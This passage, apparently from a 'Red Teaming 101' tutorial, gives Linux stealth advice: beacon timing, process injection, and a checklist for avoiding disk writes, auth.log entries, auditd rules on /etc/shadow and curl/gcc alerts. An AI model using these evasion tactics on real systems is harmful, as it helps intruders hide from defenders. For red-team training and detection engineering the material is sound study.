blue team checks — not as a primary detection bypass. Layer it with: long-sleep beacons (minimize
visibility window), injection into existing trusted processes (avoid new process creation
entirely), and operating during high-process-noise periods (business hours, patch cycles, log
rotation) where your process blends into hundreds of legitimate ones.
1.5 — Minimize Your Footprint Checklist
Before each phase, run through this mentally:
| Question | Action |
|---|---|
| Will this write to disk? | Use /dev/shm or pipe output to memory |
Will this generate a new process visible in ps? |
Consider if timing matters — work during normal business hours when process noise is high |
Will this touch auth.log? |
sudo, su, SSH logins all write here — avoid when possible |
| Will this trigger auditd rules? | File reads on /etc/shadow, /etc/passwd writes, /bin/bash exec as root |
Will this be visible in w or who? |
Your shell session is listed — consider if defenders check active sessions |
| Did I compile or curl anything? | gcc and curl are both commonly alerted on — transfer tools via legitimate channels |
Continues in Part 1b: Privilege Escalation
Part of the Red Teaming 101 series.